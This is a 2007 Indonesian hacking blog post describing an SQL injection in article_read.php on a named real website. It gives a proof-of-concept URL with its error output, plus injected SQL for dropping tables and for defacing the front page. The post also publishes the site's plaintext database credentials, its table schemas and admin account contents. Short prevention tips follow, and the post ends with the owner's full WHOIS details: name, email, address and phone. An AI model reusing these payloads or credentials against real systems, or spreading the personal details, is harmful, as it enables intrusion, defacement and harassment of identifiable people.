LaGiPusHinGWitH ---- IT

Navigation

Home |

Categories

Monthly Archives

Most recent entries

Syndicate

Site Credits

Powered by:
ExpressionEngine

Design by:
BlogMoxie

SQL Injection at MalangHack

Category: Hacking n Security
Author: roninmorgue
Date: April, 29th 2007
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/

----------------------------------------

Affected :

Tulisan ini sebenarnya saya buat atas pernyataan dari pengelola web malanghack.net, atas tulisan yang saya buat mengenai eksploitasi yang saya lakukan terhadap server malanghack.net(baca postingan saya di room yang sama).

Dan tulisan ini saya buat juga didasarkan atas permintaan pengelola untuk melakukan hacking kembali, padahal saya sudah lama meninggalkan aktifitas defacing. Jadi yang saya lakukan hanyalah melakukan sedikit audit pada web site malanghack.net

Setelah cukup lama melakukan audit, saya menemukan vulnerability pada aplikasi web, dan vulnerability tersebut masuk dalam kategori high risk.
Vulnerability yang ditemukan adalah SQL Injection pada salah satu file yang ada, yaitu file article_read.php, dimana terdapat command SQL yang berfungsi untuk menampilkan artikel pada web tersebut...namun tidak dilakukan sanitasi terhadap masukan data.

POC :

file tidak mampu mensanitasi karakter-karakter berikut :
‘, ', �’, ‘“

Ketikkan pada URL -->> http://www.malanghack.net/article_read.php?id=’

akan tampil :

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/malang/public_html/article_read.php on line 343

DATA NOT FOUND

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/malang/public_html/article_read.php on line 353

Dari result diatas kita dapat memastikan bahwa file telah mengeksekusi karakter yang kita input tanpa melalui proses sanitasi, dan dinyatakan data tidak ditemukan.

Kemudian apa yang bisa kita lakukan dengan celah ini? OK...kita masuk ke inti dari tulisan saya ini, sebelum saya jelaskan cara mengeksploitasinya ada baiknya saya sedikit mereview hasil grabbing saya terdahulu terhadap struktur dari database aplikasi web malanghack.net (ps: itu kalau dia ngga bohong yah, mengenai tidak ada perubahan pada aplikasinya)

$database="sincan2_hack";
$sqlhost="localhost";
$sqluser="sincan2_abde";
$sqlpass="abdecakep12345";

* Nama-nama table database sincan2_hack --<
admin article crew deface depan download links

** field-field table admin --<
no int(5) PRI auto_increment user varchar(50) pass varchar(100)
md5pass varchar(255) email varchar(255) last varchar(255) nick varchar(50)
email_id varchar(100)

*** isi table admin --<
1 |sincan2 |- |- |sincan2@malanghack.net | |Sincan2 |haldi1304 |

** field-field table crew --<
no int(11) PRI nama varchar(255) email varchar(255) url varchar(255)

*** isi table crew --<
1 |J1nX |abde@j1nx.net |http://j1nx.net/ |

** field-field table depan
no int(5) depan longtext

*** isi table depan
1 |
Welcome to #malanghack
Rendrian Rizaldi Putra Atmono 7 Oktober 2005 jam 11 Malam
(HADI + ERNA)
-------------------------------------------------------------------
Selamat Tinggal 2005 masa kelam di mana suka dan duka selalu menyelimuti kita
Dan selamat Datang 2006 semoga Tuhan senantiasa bersama kita.
-------------------------------------------------------------------

Saya lebih tertarik untuk membuat contoh eksploitasi tabel yang sama ( tabel depan ).

Kita coba memberi sedikit pengertian yang terjadi pada SQL Injection dengan contoh :

SELECT nmr_cc
FROM pembeli
WHERE nama = ‘Ronin O’’Morgue’; —berjalan dengan baik

Kebanyakan database mendukung mekanisme pelewatan karakter/string. MySQL, juga mengijinkan \’
untuk melewatkan sebuah tanda petik, jadi setelah memasukkan \’; DROP TABLE users;—
kita mendapatkan:

SELECT nmr_cc
FROM pembeli
WHERE nama = ‘\’’; DROP TABLE pembeli; --’; —Got!!! i hack your database!

Ok...itu contoh ekstrim, atau lebih ekstrim drop databasenya aja!!!
Tapi tentu saja itu sangat tidak cantik, padahal banyak yang masih bisa kita lakukan, seperti
bagaimana kita dapat mengeksploitasi aplikasi web malanghack.net

Saya perkirakan file article_read.php memiliki sebuah kode program SQL yang tidak berbeda jauh
dengan contoh yang saya berikan (dengan melihat dari URL)

SELECT *
FROM article
WHERE id = ‘no_id’; —ini akan berjalan dengan normal

Sekarang kita coba untuk melakukan perubahan isi data pada table ‘depan’,

SELECT *
FROM article
WHERE id = ‘\’’; UPDATE depan SET depan = <teks untuk deface> WHERE no = 1; --’;

dan silahkan aplikasikan eksploitasi tersebut pada URL nya ( tidak saya contohkan agar tidak terjadi kegiatan yang merugikan pihak lain )

Pencegahan :

1. Batasi akses user melalui database permision, jangan ijinkan statement selain SELECT

2. Gunakan store prosedur untuk pengaksesan database

3. Buat fungsi untuk melakukan sanitasi terhadap input karakter

4. Buat konfigurasi error sendiri

Selanjutnya apa?

Seperti yang sudah disebutkan diatas, saya hanya mengaudit aplikasinya saja (bukan dari sisi server) dan saya sudah meninggalkan aktifitas deface...jadi saya hanya ingin share saja.

Bagi yang ingin berbaik hati terhadap webmaster silahkan untuk memberitahu di:

Domain Name: MALANGHACK.NET

Registrant:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384

Creation Date: 14-Jul-2005
Expiration Date: 14-Jul-2007

Domain servers in listed order:
ns1.kerangkalangit.net
ns2.kerangkalangit.net

Administrative Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384

Technical Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384

Billing Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384

Status:ACTIVE

PS : Jangan merugikan pihak lain, ingat hukum karma akan terjadi terhadap kita (merasakan sendiri)
Jangan social enginnering.
Apakah ekploitasi ini pasti berhasil?
—Tidak, karena keberhasilan eksplotasi ini sangat dipengaruhi oleh struktur database, konfigurasi
server, dan scipt utuh dari file.

Maaf buat yang kesal dan menganggap tulisan ini tidak bermutu, lain kali saya taruh diatas
deh PS-nya

------------------------------------------------------------

Shoutz:
~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion,
WaferStick, newbie, cloud, acieis)
~ mercubuana-it@yahoogroups.com ,
~ x-code staff n members at yogya_family_code, ^family_code^,
---------------------------------------------------------------

Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
anstellwinkel[at]yahoo[dot]com[dot]au
petambakudang[at]yahoo[dot]co[dot]id
---------------- [ EOF ] ----------------------------------------

Posted by roninmorgue on 08/25 at 01:06 AM
Computer HackingComputer Security • (0) Comments • (190) TrackbacksPermalink

Name:

Email:

Location:

URL:

Smileys

Remember my personal information

Notify me of follow-up comments?